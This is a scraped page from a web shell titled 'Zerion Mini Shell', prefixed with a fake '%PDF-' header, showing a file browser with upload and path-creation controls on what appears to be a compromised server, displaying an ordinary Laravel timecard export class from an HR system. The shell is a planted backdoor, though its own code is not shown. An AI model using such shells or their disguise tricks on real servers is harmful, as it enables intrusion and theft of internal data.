%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hrsys/api/app/Exports/
Upload File :
Create Path :
Current File : /var/www/html/hrsys/api/app/Exports/TimecardsExport.php

<?php

namespace App\Exports;

use App\Models\Timecard;
use Maatwebsite\Excel\Concerns\Exportable;
use Maatwebsite\Excel\Concerns\FromQuery;
use Maatwebsite\Excel\Concerns\ShouldAutoSize;
use Maatwebsite\Excel\Concerns\WithHeadings;
use Maatwebsite\Excel\Concerns\WithMapping;

class TimecardsExport implements FromQuery, WithHeadings, WithMapping, ShouldAutoSize
{
    use Exportable;
    /**
     * @var
     */
    private $data;

    /**
     * ProtocolsExport constructor.
     * @param $data
     */
    public function __construct($data)
    {
        $this->data = $data;
    }

    /**
     * @return array
     */
    public function headings(): array
    {
        return [
            'User',
            'Project',
            'Notes',
            'Hours',
            'Approved hours',
        ];
    }

    /**
     * @return array
     * @var Timecard $timecard
     */
    public function map($timecard): array
    {
        return [
            $timecard->user->getFullName(),
            $timecard->project->client->name . ' - ' . $timecard->project->name,
            $timecard->notes,
            $timecard->hours,
            $timecard->approved_hours,
        ];
    }

    public function query()
    {
        return $this->data;
    }

}

Zerion Mini Shell 1.0